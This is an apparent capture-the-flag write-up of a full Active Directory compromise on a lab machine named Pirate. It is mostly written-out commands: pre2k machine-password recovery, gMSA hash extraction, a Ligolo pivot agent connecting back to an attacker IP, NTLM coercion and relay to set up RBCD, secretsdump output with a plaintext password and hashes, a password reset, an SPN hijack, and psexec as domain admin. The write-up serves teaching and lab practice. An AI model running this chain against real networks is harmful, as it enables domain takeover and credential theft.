This write-up walks through a full domain compromise on Pirate, starting from weak directory permissions in Active Directory, pivoting through an internal subnet, and finishing with an SPN hijack that leads to domain admin access.
Enumeration
The target credentials were provided up front:
nxc smb 10.129.62.0 -u pentest -p 'p3nt3st2025!&' --shares
nxc ldap 10.129.62.0 -u pentest -p 'p3nt3st2025!&' --users
nxc ldap 10.129.62.0 -u pentest -p 'p3nt3st2025!&' --groups | grep -i "pre-windows\|2000"
The target is the domain controller:
DC01- Domain:
pirate.htb - SMB signing: enabled on the DC
- LDAP signing: not enforced
- Pre-Windows 2000 Compatible Access includes computer objects
Early LDAP enumeration showed these users:
AdministratorGuestkrbtgta.white_adma.whitepentestj.sparrow
A direct LDAP query confirmed that computer accounts were members of the Pre-Windows 2000 Compatible Access group:
nxc ldap 10.129.62.0 -u pentest -p 'p3nt3st2025!&' --query \
"(memberOf=CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=pirate,DC=htb)" "sAMAccountName"
The same result was confirmed with ldapsearch and exposed the machine accounts:
DC01$MS01$EXCH01$
Why Pre-Windows 2000 Access Matters
The weak directory permissions let us identify pre-created machine accounts and use NetExec’s pre2k module to recover their default passwords.
Time skew caused Kerberos issues, so the local clock was synchronized to the domain controller before continuing:
DC_TIME=$(curl -s --head http://10.129.62.0 | grep -i '^Date:' | sed 's/Date: //')
faketime "$DC_TIME" nxc ldap 10.129.62.0 -u pentest -p 'p3nt3st2025!&' -M pre2k
The module identified the predictable machine passwords:
MS01$->ms01EXCH01$->exch01
Get a TGT for the Machine Account
Export the ticket cache generated by the module:
export KRB5CCNAME=/home/alex/.nxc/modules/pre2k/ccache/ms01.ccache
Then query group managed service account passwords:
faketime "$DC_TIME" nxc ldap 10.129.62.0 -u ms01 --use-kcache --gmsa
This returned:
gMSA_ADCS_prod$gMSA_ADFS_prod$
The important hash used later was:
gMSA_ADFS_prod$->30e4066182bb2c81dcd950b2fbb16564
Pivot to the Internal Network
With the gMSA hash, access to the domain controller was possible via Evil-WinRM:
evil-winrm -i 10.129.62.0 -u 'gMSA_ADFS_prod$' -H '30e4066182bb2c81dcd950b2fbb16564'
Inside DC01, ipconfig revealed a second NIC:
192.168.100.1
That meant the box was dual-homed and could route us into an internal subnet.
Ligolo Setup
On Kali:
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.100.0/24 dev ligolo
./proxy -selfcert -laddr 0.0.0.0:11601
On DC01:
.\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
Then in the Ligolo session:
session
start
The internal subnet became reachable after that pivot.
Internal Recon on WEB01
Scan the internal host:
nmap -Pn -n -sV -sC -p80,135,139,445,5985 192.168.100.2
Key findings:
- Hostname:
WEB01 - Domain:
pirate.htb - SMB signing: disabled
- IIS on port 80
- WinRM on 5985
- SMB, RPC, and HTTP reachable
WEB01 became the relay target.
NTLM Relay and RBCD
Coercion Tool
pipx install git+https://github.com/p0dalirius/Coercer.git
Relay Server
A stable Impacket release worked best, so a clean virtual environment was used:
python3 -m venv /tmp/imp
source /tmp/imp/bin/activate
pip install -U pip
pip install "impacket==0.13.1" ldap3
Then start ntlmrelayx:
impacket-ntlmrelayx \
-t ldap://192.168.100.1 \
--delegate-access \
--escalate-user 'MS01$' \
--remove-mic \
-smb2support
Trigger the Coercion
Use the gMSA hash from earlier:
coercer coerce \
-u 'gMSA_ADFS_prod$' \
-d pirate.htb \
--hashes ':30e4066182bb2c81dcd950b2fbb16564' \
-t 192.168.100.2 \
-l 10.10.15.172 \
--always-continue
Result
The relay succeeded and ntlmrelayx configured RBCD on WEB01$:
MS01$can now impersonate users onWEB01$via S4U2Proxy
That became the foothold for Kerberos impersonation.
A shadow-credentials attempt was tested during troubleshooting, but it was not the correct path here. The working path was
--delegate-access/ RBCD.
Secrets Dump on WEB01
First request a ticket for MS01$:
getTGT.py pirate.htb/'MS01$':'ms01' -dc-ip 192.168.100.1
export KRB5CCNAME=MS01\$.ccache
Then impersonate Administrator and ask for a CIFS ticket on WEB01:
getST.py pirate.htb/'MS01$':'ms01' \
-spn cifs/WEB01.pirate.htb \
-impersonate Administrator \
-dc-ip 192.168.100.1 \
-k -no-pass
Load the ticket and dump secrets from WEB01:
export KRB5CCNAME='Administrator@cifs_WEB01.pirate.htb@PIRATE.HTB.ccache'
secretsdump.py -k -no-pass -target-ip 192.168.100.2 WEB01.pirate.htb
The dump revealed:
- Local Administrator hash on
WEB01 WEB01$machine account hash- Cached logons
- DPAPI material
- Most importantly, the plaintext password for
a.white
The key line was:
PIRATE\a.white:E2nvAOKSz5Xz2MJu
Reset a.white_adm
The ACL chain showed that a.white had ForceChangePassword rights over a.white_adm.
Reset the password:
net rpc password 'a.white_adm' 'P@ssw0rd123!' \
-U 'pirate.htb/a.white%E2nvAOKSz5Xz2MJu' \
-S 10.129.62.0
Verify:
nxc smb 10.129.62.0 \
-u a.white_adm \
-p 'P@ssw0rd123!' \
-d pirate.htb
Check Delegation and Writable SPNs
Find delegation:
findDelegation.py 'pirate.htb/a.white_adm:P@ssw0rd123!' -dc-ip 10.129.62.0
The important results were:
a.white_admhas constrained delegation with protocol transition toHTTP/WEB01.pirate.htba.white_admhasWriteSPNonDC01$
Also confirm writable objects:
bloodyAD \
-u 'a.white_adm' \
-p 'P@ssw0rd123!' \
-d pirate.htb \
-H 10.129.62.0 \
get writable
This showed write access over:
DC01$WEB01$MS01$EXCH01$Angela W. ADM
SPN Hijack
The crucial move was to remove HTTP/WEB01.pirate.htb from WEB01$ and add it to DC01$.
Remove from WEB01
bloodyAD \
-u 'a.white_adm' \
-p 'P@ssw0rd123!' \
-d pirate.htb \
-H 10.129.62.0 \
set object 'WEB01$' servicePrincipalName \
-v 'HTTP/WEB01' \
-v 'tapinego/WEB01' \
-v 'tapinego/WEB01.pirate.htb' \
-v 'WSMAN/WEB01' \
-v 'WSMAN/WEB01.pirate.htb' \
-v 'HOST/WEB01.pirate.htb' \
-v 'RestrictedKrbHost/WEB01.pirate.htb' \
-v 'HOST/WEB01' \
-v 'RestrictedKrbHost/WEB01' \
-v 'TERMSRV/WEB01.pirate.htb' \
-v 'TERMSRV/WEB01'
Verify that HTTP/WEB01.pirate.htb is gone from WEB01$.
Add to DC01
bloodyAD \
-u 'a.white_adm' \
-p 'P@ssw0rd123!' \
-d pirate.htb \
-H 10.129.62.0 \
set object 'DC01$' servicePrincipalName \
-v 'Hyper-V Replica Service/DC01' \
-v 'Hyper-V Replica Service/DC01.pirate.htb' \
-v 'Microsoft Virtual System Migration Service/DC01' \
-v 'Microsoft Virtual System Migration Service/DC01.pirate.htb' \
-v 'Microsoft Virtual Console Service/DC01' \
-v 'Microsoft Virtual Console Service/DC01.pirate.htb' \
-v 'Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC01.pirate.htb' \
-v 'ldap/DC01.pirate.htb/ForestDnsZones.pirate.htb' \
-v 'ldap/DC01.pirate.htb/DomainDnsZones.pirate.htb' \
-v 'DNS/DC01.pirate.htb' \
-v 'GC/DC01.pirate.htb/pirate.htb' \
-v 'RestrictedKrbHost/DC01.pirate.htb' \
-v 'RestrictedKrbHost/DC01' \
-v 'RPC/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb' \
-v 'HOST/DC01/PIRATE' \
-v 'HOST/DC01.pirate.htb/PIRATE' \
-v 'HOST/DC01' \
-v 'HOST/DC01.pirate.htb' \
-v 'HOST/DC01.pirate.htb/pirate.htb' \
-v 'E3514235-4B06-11D1-AB04-00C04FC2DCD2/21c2943d-6163-4df9-aff7-3d164aa2cfbb/pirate.htb' \
-v 'ldap/DC01/PIRATE' \
-v 'ldap/21c2943d-6163-4df9-aff7-3d164aa2cfbb._msdcs.pirate.htb' \
-v 'ldap/DC01.pirate.htb/PIRATE' \
-v 'ldap/DC01' \
-v 'ldap/DC01.pirate.htb' \
-v 'ldap/DC01.pirate.htb/pirate.htb' \
-v 'HTTP/WEB01.pirate.htb'
Verify that DC01$ now contains HTTP/WEB01.pirate.htb.
Request a Fresh Ticket After the SPN Move
Make sure the old cache is gone:
unset KRB5CCNAME
Then request the new ticket:
getST.py \
-spn HTTP/WEB01.pirate.htb \
-impersonate Administrator \
-altservice CIFS/DC01.pirate.htb \
-dc-ip 10.129.62.0 \
'pirate.htb/a.white_adm:P@ssw0rd123!'
This created:
Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache
Verify the cache:
export KRB5CCNAME='Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache'
klist
NetExec confirmed the ticket worked:
nxc smb 10.129.62.0 --kerberos --use-kcache
Result:
pirate.htb\Administrator from ccache (Pwn3d!)
Root on DC01
The hostname mattered for the SPN match. Use DC01.pirate.htb rather than the IP when consuming the ticket.
export KRB5CCNAME='Administrator@CIFS_DC01.pirate.htb@PIRATE.HTB.ccache'
psexec.py \
-k \
-no-pass \
-dc-ip 10.129.62.0 \
pirate.htb/Administrator@DC01.pirate.htb
If psexec.py is flaky, wmiexec.py or smbexec.py can be tried with the same hostname-based SPN.
User Flag on WEB01
The user flag belongs to WEB01, under the profile of a.white.
After recovering a.white’s password from the WEB01 secrets dump, the account authenticated successfully over SMB:
nxc smb 192.168.100.2 \
-u a.white \
-p 'E2nvAOKSz5Xz2MJu' \
-d pirate.htb
WinRM did not grant access for a.white, but the account was still useful for enumeration. The intended user flag location is:
C:\Users\a.white\Desktop\user.txt
The local Administrator hash dumped from WEB01 was also available:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b1aac1584c2ea8ed0a9429684e4fc3e5
Important Pitfalls
- Time skew matters.
getTGT.pyinitially failed withKRB_AP_ERR_SKEW- Fix: synchronize time before requesting Kerberos tickets
- SPN hijack must happen before requesting the final ticket.
HTTP/WEB01.pirate.htbhad to be removed fromWEB01$- Then it had to be added to
DC01$
- Use the hostname, not the IP, when consuming Kerberos tickets.
DC01.pirate.htbworked- Using the IP caused session issues
- A stable Impacket build was important.
- The development build caused issues
impacket==0.13.1in a clean venv worked consistently
- NetExec was useful to validate the ticket.
nxc smb --kerberos --use-kcacheconfirmed the cache before execution
Final Attack Chain
Pre2k misconfiguration
-> default machine account credentials
-> gMSA password retrieval
-> pivot into 192.168.100.0/24
-> NTLM coercion + SMB-to-LDAP relay
-> RBCD on WEB01
-> secretsdump WEB01
-> plaintext password for a.white
-> ForceChangePassword to a.white_adm
-> WriteSPN on DC01
-> SPN hijack of HTTP/WEB01.pirate.htb
-> S4U2Self + S4U2Proxy + altservice
-> Administrator ticket for CIFS/DC01
-> Domain Admin
Flag Locations
- User flag:
C:\Users\a.white\Desktop\user.txtonWEB01 - Root flag:
C:\Users\Administrator\Desktop\root.txtonDC01